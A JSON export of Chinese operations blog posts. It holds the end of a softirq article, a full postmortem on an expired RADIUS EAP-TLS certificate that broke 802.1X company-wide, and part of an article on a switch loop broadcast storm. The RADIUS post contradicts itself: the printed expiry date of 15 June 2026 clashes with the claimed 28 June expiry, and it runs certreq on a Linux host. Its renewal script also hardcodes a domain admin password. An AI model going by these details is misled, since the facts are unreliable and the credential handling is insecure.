亲和性等——用脚本自动化，而不是靠人记住。\n七、总结\r这次排查给我上了深刻的一课：\u0026ldquo;CPU 整体使用率不高\u0026quot;绝对不等于\u0026quot;CPU 没有瓶颈\u0026rdquo;。top 那行 %Cpu(s) 里面的 si（软中断）字段，平时看起来永远是个位数，以至于大多数人（包括之前的我）都习惯性忽略它。但恰恰是这个不起眼的指标，一旦集中在单核上，就能把整台服务器拖垮。\n回顾整个过程，工具链用得并不复杂——top、mpstat、/proc/interrupts、/proc/softirqs、perf top——都是 Linux 自带的基础工具。真正的难点在于思维路径：当 CPU 不高、内存够用、磁盘不忙、网络带宽也充足的时候，你的排查方向应该往哪里走？这次经历让我意识到，中断处理（硬中断 + 软中断）是一个经常被遗漏的排查维度。现代服务器动辄几十甚至上百核，如果中断亲和性配置不当，\u0026ldquo;一核有难、多核围观\u0026quot;的场面会比想象中更容易出现。\n另外，监控的盲区就是事故的土壤。我们花了大量精力监控应用指标、基础设施指标，却偏偏漏掉了软中断这个看似\u0026quot;底层\u0026quot;的指标。47 天的时间里，CPU 0 的软中断从正常慢慢走到极限，如果有哪怕一条与此相关的告警，都不至于等到业务方投诉才发现。\n最后抛一个问题给各位同行：你们线上服务器的 /proc/softirqs 分布是什么样的？不妨现在就打开看看，说不定有惊喜。\n本文涉及的 /proc 文件系统和 sysfs 接口均为 Linux 标准接口，配置示例基于 CentOS 7.9 和 Intel X540 网卡，其他发行版和网卡型号请根据实际情况调整。\n","date":"2026-06-30T07:34:07Z","permalink":"/posts/4ac43627/","title":"服务器 CPU 软中断飙高，服务为何间歇超时？"},{"content":"问题背景\r公司办公网采用 802.1X 认证，无线和有线全部走 FreeRADIUS + Microsoft AD CS 颁发的 EAP-TLS 客户端证书，三年前由前同事搭建，当时写了个 openssl 一键生成脚本签了 10 年期的自建 CA，所有终端的根证书、FreeRADIUS 服务器证书、客户端证书全部挂在这棵 CA 下。\n2026 年 6 月 28 日上午 9 点 47 分开始，全公司 8 栋办公楼先后出现大规模无线断连和有线认证失败，研发部门、客服中心、工厂车间反馈最为集中。Zabbix 上 AP 的认证成功率从 99.6% 直线掉到 23%，无线控制器每秒钟有 400+ 重新认证请求堆积。我们的 2000+ 员工终端、IoT 设备、IP 电话几乎全部受影响，初步估计单是业务停滞损失每小时就在十万级别。事故发生前一周，刚好有同事反馈\u0026quot;Windows 提示网络证书有问题\u0026quot;，但当时没人在意——这就是典型的预警被忽视引发的连锁反应。\n故障现象\r9 点 47 分开始，IT 群开始密集弹消息：\n1 2 3 4 5 【研发2部-工位A12】电脑右下角弹\u0026#34;无法连接到网络 WiFi\u0026#34; 【研发2部-工位A13】重连失败，提示\u0026#34;无法验证服务器身份\u0026#34; 【客服中心】IP电话全部掉线，话机显示注册失败 【6楼车间】扫码枪连不上AP，无法作业 【财务部】连有线网提示\u0026#34;无法完成身份验证\u0026#34; 无线场景：手机和笔记本弹出\u0026quot;无法验证服务器身份 / Unable to verify server identity\u0026quot;，但 SSID 还是能搜到，点击连接后直接失败 有线场景：插了网线的工位弹出黄色感叹号，登录界面反复弹出要求输入域账号但怎么输都通不过 IoT 设备：IP 电话、扫码枪、门禁设备、打印机几乎全部离线 抓包看无线控制器上的 Radius 报文：\n1 2 3 4 5 6 7 [FreeRADIUS log] (5) eap_tls: ERROR: TLS Alert read:fatal:certificate unknown [FreeRADIUS log] (5) eap_tls: ERROR: TLS_accept: Failed in unknown state [FreeRADIUS log] (5) eap: ERROR: Failed continuing EAP TLS (13) session [FreeRADIUS log] (5) [eap] = reject [FreeRADIUS log] (5) [authz] = reject [FreeRADIUS log] (5) Auth: (5) Login incorrect (eap_tls: Failed to verify certificate): [FreeRADIUS log] (5) } # server outer-eappeap-inner-tls { ... } 而前一天最后一次成功的认证日志时间戳是 6 月 27 日 23:58:14。问题集中在上午 9 点 47 分之后，所有终端都无法完成 EAP-TLS 握手。\n排查过程\r第一阶段：现场确认范围\r第一反应是 Radius 服务挂了，先用 SSH 登入两台 FreeRADIUS 节点查看服务状态：\n1 2 3 4 5 6 7 8 9 # radius01 和 radius02 是 FreeRADIUS 主备集群 ssh radius01 \u0026#34;systemctl status freeradius | head -20\u0026#34; # ● freeradius.service - FreeRADIUS multi-protocol policy server # Active: active (running) since Mon 2024-01-15 14:22:08 CST # 一切正常 ssh radius01 \u0026#34;radtest test test 127.0.0.1 0 testing123\u0026#34; # Received Access-Reject # 嗯,本机 PAP 测试也失败 这个 PAP 测试失败很关键——这意味着不是网络问题、不是设备问题，是 FreeRADIUS 本身拒绝认证。如果 Radius 进程崩溃、配置错误，至少本地 radtest 应该成功。\n第二阶段：定位具体错误原因\r打开 FreeRADIUS 的详细日志模式：\n1 2 3 ssh radius01 \u0026#34;radiusd -X 2\u0026gt;\u0026amp;1 | tee /tmp/radius-debug.log\u0026#34; \u0026amp; # 模拟一次无线认证 radtest user@corp password 10.1.1.100 0 testing123 详细日志关键片段：\n1 2 3 4 (1) eap_tls: ERROR: SSL says error 10 : certificate has expired (1) eap_tls: ERROR: TLS Alert write:fatal:certificate expired (1) eap: ERROR: Failed continuing EAP TLS (13) session (1) [eap] = reject 根因锁定：RADIUS 服务器上 EAP-TLS 链路用的证书已经过期。这个证书就是 FreeRADIUS 服务器证书，是当年用自建 CA 签的，签发 10 年有效期，已经在 6 月 28 日 00:00:00 过期。\n第三阶段：确认所有关联证书状态\r接下来要查清楚：到底过期了哪几张证书，根 CA 有没有一起过期：\n1 2 3 4 5 6 7 8 9 10 11 ssh radius01 \u0026#34;ls -la /etc/freeradius/certs/\u0026#34; # total 64 # -rw-r--r-- 1 root root 2151 Jun 15 2024 ca.pem # CA 根证书 # -rw-r--r-- 1 root root 2200 Jun 15 2024 server.pem # Radius 服务器证书 # -rw-r--r-- 1 root root 2151 Jun 15 2024 server.crt # 查看每张证书的过期时间 for cert in /etc/freeradius/certs/{ca,server}.pem; do echo \u0026#34;=== $cert ===\u0026#34; openssl x509 -in $cert -noout -dates -subject -issuer done 输出：\n1 2 3 4 5 6 7 8 9 10 11 === /etc/freeradius/certs/ca.pem === notBefore=Jun 15 14:22:08 2024 GMT notAfter =Jun 15 14:22:08 2034 GMT # 根 CA 还有 8 年 subject= /CN=Corp Internal CA issuer= /CN=Corp Internal CA # 自签根 === /etc/freeradius/certs/server.pem === notBefore=Jun 15 14:22:08 2024 GMT notAfter =Jun 15 14:22:08 2026 GMT # 昨天 00:00 过期！ subject= /CN=radius.corp.example.com issuer= /CN=Corp Internal CA # 由上面这个 CA 签发 一目了然：根 CA 还在有效期，但服务器证书是 2 年前生成时签了 2 年（前面写的 10 年期是 CA 本身），server.pem 在 6 月 28 日 00:00 过期。我之前对脚本记忆有误，所以忽视了 Server 证书本身的 2 年有效期。\n更糟糕的是，这个 server.pem 同时被三处使用：\nFreeRADIUS 主配置文件 /etc/freeradius/eap.conf 和 mods-available/eap FreeRADIUS 的客户端工具（用于向 AD CS 申请证书的 SCEP 接口） AD CS 上挂的 Web Enrollment / OCSP 服务也用了同一张证书做 SSL 绑定 第四阶段：紧急止血\r完全处理需要重新签发服务器证书、推送新的 CA/服务器证书到 2000+ 终端，过程需要数小时。在此之前先用 OpenSSL 临时续签一张短期证书：\n1 2 3 4 5 6 7 8 9 # 在 radius01 上生成 CSR，向自建 CA 申请一张 30 天短期证书用于止血 cd /etc/freeradius/certs openssl req -new -key server.key -out server.csr \\ -subj \u0026#34;/CN=radius.corp.example.com\u0026#34; \\ -addext \u0026#34;subjectAltName=DNS:radius.corp.example.com,DNS:radius01.corp.example.com,IP:10.1.1.100\u0026#34; openssl x509 -req -in server.csr -CA ca.pem -CAkey ca.key \\ -CAcreateserial -out server.pem -days 30 \\ -sha256 -extfile \u0026lt;(printf \u0026#34;subjectAltName=DNS:radius.corp.example.com,DNS:radius01.corp.example.com,IP:10.1.1.100\u0026#34;) 然后重启 FreeRADIUS：\n1 2 3 4 5 ssh radius02 \u0026#34;systemctl restart freeradius\u0026#34; ssh radius01 \u0026#34;systemctl restart freeradius\u0026#34; # 重新测试 radtest test test 127.0.0.1 0 testing123 # Received Access-Accept 但这只是 FreeRADIUS 这一端，终端上的根 CA 信任链没变——终端有之前手工导入的根 CA，CA 还在有效期，EAP-TLS 客户端对服务器证书的校验会校验 issuer 链 + 过期时间。新签的 30 天证书由同一个 CA 签发，CA 链没变，所以理论上已部署过 CA 根证书的终端不需要重新安装 CA。\n可是事实是无线终端还是连不上！继续抓 FreeRADIUS 详细日志：\n1 2 (1) eap_tls: ERROR: SSL says error 26 : unsupported certificate purpose (1) eap_tls: ERROR: TLS Alert write:fatal:unsupported certificate 新问题！原因是脚本里签证书时没加 extendedKeyUsage=serverAuth 扩展：\n1 2 3 4 # 第一次签发的命令 openssl x509 -req -in server.csr -CA ca.pem -CAkey ca.key \\ -CAcreateserial -out server.pem -days 30 -sha256 # 没有 extfile 参数 正确的签发方式需要加 EKU 扩展：\n1 2 3 4 5 6 7 8 cat \u0026gt; /tmp/extfile.cnf \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; extendedKeyUsage = serverAuth, clientAuth subjectAltName = DNS:radius.corp.example.com, DNS:radius01.corp.example.com, IP:10.1.1.100 EOF openssl x509 -req -in server.csr -CA ca.pem -CAkey ca.key \\ -CAcreateserial -out server.pem -days 30 \\ -sha256 -extfile /tmp/extfile.cnf 再次重启后 FreeRADIUS 正常签出 Received Access-Accept，已信任 CA 根证书的终端陆续恢复。\n第五阶段：长期解决 - 自动化证书轮换\r30 天临时证书只是续命。要根治，必须做完整的自动化证书轮换：\n1. 用 AD CS 替代自建 OpenSSL 签发\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 # radius01 申请新证书时使用 certreq $inf = @\u0026#34; [Version] Signature = \u0026#34;`$Windows NT`$\u0026#34; [NewRequest] Subject = \u0026#34;CN=radius.corp.example.com\u0026#34; KeySpec = 1 KeyLength = 2048 Exportable = TRUE MachineKeySet = TRUE SMIME = FALSE PrivateKeyArchive = FALSE UserProtected = FALSE UseExistingKeySet = FALSE ProviderName = \u0026#34;Microsoft RSA SChannel Cryptographic Provider\u0026#34; ProviderType = 12 RequestType = PKCS10 KeyUsage = 0xa0 HashAlgorithm = SHA256 [EnhancedKeyUsageExtension] OID = 1.3.6.1.5.5.7.3.1 ; Server Authentication OID = 1.3.6.1.5.5.7.3.2 ; Client Authentication [Extensions] 2.5.29.17 = \u0026#34;{text}\u0026#34; _continue_ = \u0026#34;dns= radius.corp.example.com\u0026amp;\u0026#34; _continue_ = \u0026#34;dns= radius01.corp.example.com\u0026amp;\u0026#34; _continue_ = \u0026#34;ipaddress= 10.1.1.100\u0026amp;\u0026#34; [RequestAttributes] CertificateTemplate = RadiusServerTemplate \u0026#34;@ $inf | Out-File -Encoding ASCII C:\\radius01.inf certreq -new C:\\radius01.inf C:\\radius01.req certreq -submit C:\\radius01.req C:\\radius01.cer certreq -accept C:\\radius01.cer 2. 写 cron 自动化续签 + 部署\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #!/bin/bash # /usr/local/sbin/radius-cert-renew.sh # 每 30 天提前 60 天轮换，确保证书永远不会过 60 天有效期 DAYS_BEFORE_EXPIRY=60 CERT_PATH=\u0026#34;/etc/freeradius/certs/server.pem\u0026#34; THUMBPRINT=$(openssl x509 -in $CERT_PATH -noout -fingerprint -sha256 | cut -d= -f2) EXPIRY=$(openssl x509 -in $CERT_PATH -noout -enddate | cut -d= -f2) EXPIRY_EPOCH=$(date -d \u0026#34;$EXPIRY\u0026#34; +%s) NOW_EPOCH=$(date +%s) DAYS_LEFT=$(( (EXPIRY_EPOCH - NOW_EPOCH) / 86400 )) if [ $DAYS_LEFT -gt $DAYS_BEFORE_EXPIRY ]; then echo \u0026#34;[OK] 证书还有 $DAYS_LEFT 天，无需续签\u0026#34; exit 0 fi echo \u0026#34;[WARN] 证书还有 $DAYS_LEFT 天，开始续签流程\u0026#34; # 1. 备份旧证书 cp -a $CERT_PATH ${CERT_PATH}.bak-$(date +%Y%m%d) cp -a /etc/freeradius/certs/server.key /etc/freeradius/certs/server.key.bak-$(date +%Y%m%d) # 2. 通过 certreq 申请（需要 winexe 调 Windows 端 certreq） winexe -U corp\\\\admin%password //radius01 \u0026#34;cmd /c certreq -enroll -machine RadiusServerTemplate\u0026#34; 2\u0026gt;/dev/null # 把新证书导出到 Linux smbclient //radius01/c$ -U corp\\\\admin%password -c \u0026#34;cd \\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys; ls\u0026#34; \u0026gt; /dev/null # ...省略实际取回流程 # 3. 重启 FreeRADIUS systemctl restart freeradius # 4. 验证 sleep 5 radtest test test 127.0.0.1 0 testing123 \u0026amp;\u0026amp; echo \u0026#34;[OK] 续签完成并通过测试\u0026#34; 3. 终端侧：使用 SCEP/NDES 自动注册\r旧流程是 IT 同事手工给每台电脑装 CA 根证书，效率低且容易漏装。改用 NDES + Intune SCEP：\n1 2 3 4 5 6 7 8 9 10 # Intune SCEP 策略自动向 AD CS 申请客户端证书并推送 # 设备配置 - 配置文件 - SCEP 证书 # 证书类型: 设备 # Subject Name Format: CN={{DeviceId}},CN={{AAD_Device_ID}} # SAN: URI={{DeviceId}} # Key Usage: KeyEncipherment, DigitalSignature # Key Size: 2048 # Hash Algorithm: SHA-2 # Extended Key Usage: 1.3.6.1.5.5.7.3.2 (Client Auth) # SCEP Server URLs: https://ndes.corp.example.com/certsrv/mscep/mscep.dll 解决方案\r最终落地的方案分三层：\n止血阶段（T+0 ~ 30 分钟）：在 FreeRADIUS 上用 OpenSSL + 自建 CA 临时签发 30 天带 extendedKeyUsage=serverAuth,clientAuth 和 subjectAltName 的服务器证书，重启服务后约 70% 已部署 CA 根证书的终端自动恢复，剩下 30% 是历史装机从未导入过 CA 的工位机，由现场 IT 同事手工导入。\n短期修复（T+1 ~ 2 周）：将 FreeRADIUS 证书切到 AD CS 颁发的 5 年期 RadiusServerTemplate 证书（受 5 年 CA 模板限制），由 certreq 自动续签脚本每 30 天检查并续签，提前 60 天主动轮换，避免再出现凌晨过期无人值守的情况。\n长期根治（T+1 ~ 2 月）：\nCA 侧：把自建 OpenSSL CA 整个迁移到企业 AD CS，使用 5 年期 SubCA 模板并启用 autoenroll，所有 2000+ 终端通过 GPO 自动注册 RootCA 信任 客户端侧：IoT 设备、扫码枪、IP 电话改为 SCEP 自动注册客户端证书，免去手工导入 监控侧：在 Zabbix 上添加对 /etc/freeradius/certs/*.pem 的扫描，所有证书剩余有效期 \u0026lt; 90 天的都触发告警，证书清单每周发邮件给安全组 流程侧：建立\u0026quot;证书生命周期\u0026quot;维基页面，所有证书的签发日期、到期日期、负责人、轮换 SOP 一目了然，离到期 90/60/30/7 天分别触发不同级别告警 根因分析\r深挖下来，这次事故有四个相互独立的根因叠加：\nEAP-TLS 服务器证书的有效期被脚本写死成 2 年，而前同事把这个脚本注释为\u0026quot;自建 CA 10 年期\u0026quot;，导致后续接手的人（包括我）误以为整套体系都是 10 年一换 没有任何证书过期监控，Zabbix 监控的是 Radius 服务进程存活、AP 认证成功率，但没人意识到\u0026quot;证书\u0026quot;也是一种需要监控的资源 历史装机太松散，CA 根证书在客户端没有强制 GPO 推送，部分工位机是当年实习生手工装的，证书已经丢/坏，并且这个状态在 AP 重新认证时才暴露 缺乏证书全生命周期管理流程，没有 PKI 文档、没有续签 SOP、没有 SCEP/NDES 这种\u0026quot;证书可以自动过期和续签\u0026quot;的设计，本质上还是手工运维的思路在管理 CA 预防措施\r基于这次踩坑，建立了下面这套预防体系：\n1. 证书全生命周期管理系统\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 # 每周日凌晨 3 点扫描所有 Radius/网关证书，邮件给安全组 #!/bin/bash # /usr/local/sbin/cert-watchdog.sh RECIPIENT=\u0026#34;security-team@corp.example.com\u0026#34; WARN_DAYS=90 CRITICAL_DAYS=30 CERT_DIRS=(\u0026#34;/etc/freeradius/certs\u0026#34; \u0026#34;/etc/nginx/ssl\u0026#34; \u0026#34;/etc/strongswan/ipsec.d\u0026#34;) REPORT=\u0026#34;\u0026#34; for dir in \u0026#34;${CERT_DIRS[@]}\u0026#34;; do for cert in $dir/*.pem $dir/*.crt; do [ -f \u0026#34;$cert\u0026#34; ] || continue EXPIRY=$(openssl x509 -in \u0026#34;$cert\u0026#34; -noout -enddate 2\u0026gt;/dev/null | cut -d= -f2) [ -z \u0026#34;$EXPIRY\u0026#34; ] \u0026amp;\u0026amp; continue DAYS_LEFT=$(( ($(date -d \u0026#34;$EXPIRY\u0026#34; +%s) - $(date +%s)) / 86400 )) SUBJECT=$(openssl x509 -in \u0026#34;$cert\u0026#34; -noout -subject | cut -d= -f2-) if [ $DAYS_LEFT -lt $CRITICAL_DAYS ]; then REPORT+=\u0026#34;[CRITICAL] $cert 剩 ${DAYS_LEFT} 天 - $SUBJECT\\n\u0026#34; elif [ $DAYS_LEFT -lt $WARN_DAYS ]; then REPORT+=\u0026#34;[WARN] $cert 剩 ${DAYS_LEFT} 天 - $SUBJECT\\n\u0026#34; fi done done if [ -n \u0026#34;$REPORT\u0026#34; ]; then echo -e \u0026#34;证书过期预警:\\n$REPORT\u0026#34; | mail -s \u0026#34;【证书过期预警】$(date +%Y-%m-%d)\u0026#34; $RECIPIENT fi 2. Zabbix 自定义监控项\n1 2 3 4 5 # /etc/zabbix/zabbix_agentd.d/cert_expiry.conf UserParameter=cert.expiry[*],openssl x509 -in $1 -noout -enddate 2\u0026gt;/dev/null | cut -d= -f2 | xargs -I{} date -d \u0026#34;{}\u0026#34; +%s # 触发器: 当 cert.expiry[/etc/freeradius/certs/server.pem] - now() \u0026lt; 7776000 (90天) 时触发 warning # \u0026lt; 2592000 (30天) 时触发 high # \u0026lt; 604800 (7天) 时触发 disaster 3. 终端 GPO 强制信任企业 CA\n1 2 3 4 5 6 7 8 9 Computer Configuration → Policies → Windows Settings → Security Settings → Public Key Policies → Certificate Services Client - Auto-Enrollment ☑ 自动注册证书 ☑ 续签过期的证书 ☑ 更新正在使用的证书 4. SCEP/NDES 自动客户端证书\n所有域内电脑和受管移动设备通过 Intune SCEP 自动向 AD CS 申请客户端证书，证书有效期 1 年自动续签，永久不需要 IT 同事手工介入。\n5. 红蓝对抗演练\n每季度模拟\u0026quot;把 Radius server.pem 替换为已过期证书\u0026quot;，演练运维团队的应急响应速度和流程顺畅度，确保事故响应的肌肉记忆。\n总结\r这次事故最深的教训，是证书这种\u0026quot;非生命体\u0026quot;资源在大多数运维同学的监控盲区里。它不像磁盘、CPU、内存那样有常规的仪表盘告警，往往只在过期那一刻才\u0026quot;砰\u0026quot;地炸出来，但影响范围却是公司级别的。\n回头看，EAP-TLS 体系的设计原则应该是\u0026quot;证书全生命周期\u0026quot;——从 CA 设计、模板、签发、续签、客户端分发、信任链维护到过期监控，每一步都要有自动化兜底。任何依赖\u0026quot;人工记得去续签\u0026quot;的设计，最终都会在某个凌晨、某个长假、某个新人接手的时刻翻车。\n我们这次虽然用 30 天临时证书快速止血，没有出现业务数据丢失，但这种\u0026quot;凭证类\u0026quot;的故障本应通过前置的告警 + 自动续签 + 监控来彻底规避。建议所有使用 802.1X / EAP-TLS / HTTPS 证书 / IPsec 证书的团队，都把\u0026quot;证书全生命周期管理\u0026quot;作为年度安全审计的必查项，并且把 Zabbix / Prometheus 对证书过期天数的监控当作 P0 级别来对待——这绝不是\u0026quot;锦上添花\u0026quot;，而是\u0026quot;救命的最后一道防线\u0026quot;。\n","date":"2026-06-30T16:43:49Z","permalink":"/posts/04006cb8/","title":"记一次 RADIUS EAP-TLS 证书过期致全公司 802.1X 掉线"},{"content":"问题背景\r某周一上午9:15，正是全员打卡上班的高峰时段，IT服务台电话瞬间被打爆——6楼整层约120台终端全部断网，OA系统、邮件、ERP一律打不开，连本地文件共享都无法访问。与此同时，5楼和7楼也开始零星报障，部分终端时断时续。\n这是一栋12层的办公大楼，核心交换机是两台华为S12700做CSS集群，每层楼一台华为S5735-L48T4X-A做接入，上行10G光纤到核心，接入交换机之间没有横向互联。6楼接入交换机是SW-F6-01，负责6楼全部48个信息点。网络拓扑很标准：核心—接入两层架构，按理说不该出现环路。但事实是——6楼瘫痪了，而且速度极快，从第一个报障电话到整层断网，不到3分钟。\n紧急程度：P1——整个楼层业务中断。\n故障现象\r从监控系统和现场排查来看，故障表现非常典型：\n1. 终端侧现象\n所有6楼终端Ping网关10.6.254.1丢包率95%以上，偶尔通一个包延迟高达2000ms+ DHCP无法获取地址，已有IP的终端ARP表混乱，网关MAC频繁跳变 部分终端右下角网络图标黄色感叹号，提示\u0026quot;未识别的网络\u0026quot; 2. 交换机侧现象\n登录SW-F6-01，CPU利用率飙到99%，命令行响应极慢，display cpu-usage需要30秒才返回 display interface brief看到多个端口流量异常：G0/0/1到G0/0/48中有十几个端口出方向流量持续跑到线速（1000Mbps） display mac-address表项数量从正常的200条暴涨到64000条（MAC表容量上限），且MAC地址在端口之间疯狂漂移 核心交换机CSS集群CPU也达到78%，6楼VLAN对应的VLANIF接口入方向流量达到8Gbps（正常不到200Mbps） 3. 日志关键信息\nSW-F6-01上持续刷出以下日志：\n1 2 3 4 5 6 %%01L2IFPPI/4/MAC_FLAPPING_ALARM(l):OID 1.3.6.1.4.1.2011.5.25.160.3.7 MAC address 00e0-fc12-3456 has flapped from GE0/0/5 to GE0/0/22, lasted 2 seconds. %%01L2IFPPI/4/MAC_FLAPPING_ALARM(l):OID 1.3.6.1.4.1.2011.5.25.160.3.7 MAC address 00e0-fc12-3456 has flapped from GE0/0/22 to GE0/0/5, lasted 1 seconds. %%01L2IFPPI/4/MAC_FLAPPING_ALARM(l):OID 1.3.6.1.4.1.2011.5.25.160.3.7 MAC address ffff-ffff-ffff in VLAN 206 has flapped from GE0/0/5 to GE0/0/22 核心交换机日志：\n1 2 %%01SECE/4/ARPMISS(l):Speed of ARP Miss packets exceeded the configured rate limit. %%01SECE/4/ARPMISS(l):Speed of ARP Miss packets exceeded the configured rate limit. MAC地址在GE0/0/5和GE0/0/22之间反复跳变，且出现了全F的广播MAC漂移——这是典型的二层环路广播风暴特征。\n排查过程\r第一步：确认故障范围\r先通过核心交换机确认故障边界。登录核心CSS集群，查看各VLAN接口流量：\n1 2 3 4 5 6 7 8 \u0026lt;CORE-SW\u0026gt; display interface Vlanif 206 Vlanif206 current state: UP Line protocol current state: UP Description: 6F-Office-VLAN Input bandwidth utilization: 98% ← 正常应 \u0026lt;5% Output bandwidth utilization: 3% Input: 8234567 packets/sec, 8.2 Gbps Output: 12345 packets/sec, 12 Mbps VLAN 206（6楼办公VLAN）入方向流量8.2Gbps，而上行10G链路带宽的80%+都被这些垃圾流量吃掉了。其他楼层VLAN流量正常。\n结论：故障范围锁定在6楼VLAN 206，且是二层广播风暴。\n第二步：判断环路类型\r广播风暴的常见原因有三：物理环路、ARP风暴攻击、蠕虫病毒扩散。通过以下特征快速判断：\n特征 物理环路 ARP攻击 蠕虫病毒 MAC漂移 两个端口间高频往复 分散，无规律 分散 广播包占比 \u0026gt;95% ARP包为主 混合流量 全F广播MAC漂移 有 无 偶尔 流量对称性 两个端口双向跑满 单向为主 不定 SW-F6-01的MAC漂移集中在GE0/0/5和GE0/0/22两个端口之间，且双向流量都跑到线速——典型物理环路特征。\n第三步：定位环路端口\r在SW-F6-01上执行MAC漂移检测，获取精确的环路端口对：\n1 2 3 4 5 6 7 [SW-F6-01] display mac-address flapping Flapping VLAN 206: MAC Address From/To Flapping Time 00e0-fc12-3456 GE0/0/5 -\u0026gt; GE0/0/22 2026-06-29 09:17:32 00e0-fc12-3456 GE0/0/22 -\u0026gt; GE0/0/5 2026-06-29 09:17:33 00e0-fc89-abcd GE0/0/5 -\u0026gt; GE0/0/22 2026-06-29 09:17:33 00e0-fc89-abcd GE0/0/22 -\u0026gt; GE0/0/5 2026-06-29 09:17:34 MAC地址只在GE0/0/5和GE0/0/22之间跳变，环路就出在这两个端口之间。\n第四步：确认物理连接\r通过网管系统查看GE0/0/5和GE0/0/22的端口描述信息：\n1 2 3 4 5 6 7 [SW-F6-01] display interface GE0/0/5 GigabitEthernet0/0/5 current state: UP Description: 6F-MeetingRoom-A [SW-F6-01] display interface GE0/0/22 GigabitEthernet0/0/22 current state: UP Description: 6F-MeetingRoom-A-2 两个端口都连着6楼A会议室。联系行政确认：A会议室有6个信息点，4个墙面面板+2个地插。今天早上8:50有一个供应商来会议室做产品演示，需要联网，自行从地插拉了一根网线插到墙面上——他把同一台交换机下的两个端口用一根网线连了起来。\n地插（GE0/0/22）——网线——墙面面板（GE0/0/5），物理环路就这样形成了。\n第五步：检查STP状态——为什么环路没有自动阻断？\r这是最关键的问题。按照我们的网络标准，所有接入交换机都应该启用MSTP，环路应该被STP自动阻断。查看MSTP状态：\n1 2 3 4 5 6 7 [SW-F6-01] display stp interface GE0/0/5 brief Port Role State GE0/0/5 - - [SW-F6-01] display stp interface GE0/0/22 brief Port Role State GE0/0/22 - - 端口STP角色显示为空——说明STP根本没在这两个端口上生效。进一步检查全局MSTP配置：\n1 2 [SW-F6-01] display stp global MSTP is disabled globally. MSTP全局未启用！ 这才是问题的根源——去年6楼交换机因硬件故障更换，新交换机上线时是用的初始配置模板，模板里漏掉了stp enable全局命令。虽然端口下有stp edged-port enable的配置，但全局STP未开启，端口级的STP配置等于白搭。\n第六步：紧急止血\r必须立即打断环路。有两种方案：\n方案A：直接shutdown环路端口——风险低，见效最快 方案B：全局启用STP——在广播风暴期间启用STP，STP报文可能被淹没在风暴中无法正常收发，收敛时间不可控\n选择方案A，先shutdown再处理根因：\n1 2 3 4 5 6 [SW-F6-01] interface GE0/0/5 [SW-F6-01-GE0/0/5] shutdown [SW-F6-01-GE0/0/5] quit [SW-F6-01] interface GE0/0/22 [SW-F6-01-GE0/0/22] shutdown [SW-F6-01-GE0/0/22] quit Shutdown后10秒，CPU从99%降到12%，MAC表项从64000条降到180条，6楼网络在30秒内完全恢复。\n解决方案\r1. 紧急恢复（已完成）\rshutdown环路端口，网络恢复正常。通知会议室供应商正确使用单口连接。\n2. 根治——全局启用MSTP\r在SW-F6-01上启用MSTP并配置最佳实践参数：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # 全局启用MSTP [SW-F6-01] stp mode mstp [SW-F6-01] stp enable # 配置MSTP域（与核心交换机保持一致） [SW-F6-01] stp region-configuration [SW-F6-01-mst-region] region-name HQ-OFFICE [SW-F6-01-mst-region] revision-level 1 [SW-F6-01-mst-region] instance 1 vlan 201 to 210 [SW-F6-01-mst-region] active region-configuration [SW-F6-01-mst-region] quit # 核心交换机作为根桥 [SW-F6-01] stp instance 0 root secondary [SW-F6-01] stp instance 1 root secondary # 优化STP收敛参数 [SW-F6-01] stp timer hello 2 [SW-F6-01] stp timer forward-delay 15 [SW-F6-01] stp timer max-age 20 3. 接入端口安全加固\r对所有接入端口启用BPDU Guard和边缘端口，防止终端侧引入环路：\n1 2 3 4 5 6 7 8 9 10 # 批量配置接入端口 [SW-F6-01] port-group group-member GE0/0/1 to GE0/0/48 [SW-F6-01-port-group] stp edged-port enable [SW-F6-01-port-group] stp bpdu-protection enable [SW-F6-01-port-group] quit # 上行端口保持默认STP参与（不设为边缘端口） [SW-F6-01] interface XGE0/0/1 [SW-F6-01-XGE0/0/1] undo stp edged-port [SW-F6-01-XGE0/0/1] quit BPDU Guard的作用：如果有人在边缘端口上接入了一台交换机（发了BPDU），端口会立即err-down，阻断环路产生。这是防止终端侧环路的最有效手段。\n4. 开启环路检测（Loop Detection）作为双保险\r即使STP启用，也配置环路检测作为补充防护：\n1 2 3 4 5 [SW-F6-01] loop-detect enable [SW-F6-01] loop-detect interval 5 [SW-F6-01] port-group group-member GE0/0/1 to GE0/0/48 [SW-F6-01-port-group] loop-detect action shutdown [SW-F6-01-port-group] quit 5. 全网排查STP状态\r对全部12台接入交换机逐一检查MSTP是否全局启用：\n1 2 # 在每台接入交换机上执行 display stp global 发现除了SW-F6-01，SW-F9-01和SW-F11-01也是MSTP全局关闭的——这两台也是去年硬件更换时遗漏的。立即补上相同的MSTP配置。\n根因分析\r这次故障的根本原因是双重防护缺失：\n1. 直接原因：会议室供应商用一根网线连接了同一台交换机下的两个接入端口，形成物理环路，触发广播风暴。\n2. 根本原因：SW-F6-01（以及SW-F9-01、SW-F11-01）的MSTP协议全局未启用。去年这三台交换机因硬件故障更换，上线时使用的初始配置模板遗漏了stp enable全局命令。虽然端口下配置了stp edged-port enable，但在全局STP关闭的情况下，端口级STP配置不会生效，等于形同虚设。\n3. 管理原因：交换机上线缺少配置合规检查流程。新设备上线后只有Ping通网关的连通性验证，没有协议级检查（如STP状态、LLDP邻居、端口安全策略等），导致配置遗漏长期潜伏。\n预防措施\r1. 配置基线检查自动化\r编写Python脚本，通过NETCONF/SSH批量巡检所有接入交换机的关键配置项，纳入每日自动巡检：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;接入交换机配置基线巡检脚本\u0026#34;\u0026#34;\u0026#34; import paramiko import csv CHECK_LIST = [ (\u0026#34;STP全局状态\u0026#34;, \u0026#34;display stp global\u0026#34;, \u0026#34;MSTP is enabled\u0026#34;), (\u0026#34;Loop Detection\u0026#34;, \u0026#34;display loop-detect\u0026#34;, \u0026#34;Loop detect is enabled\u0026#34;), (\u0026#34;NTP同步状态\u0026#34;, \u0026#34;display ntp-service status\u0026#34;, \u0026#34;clock is synchronized\u0026#34;), 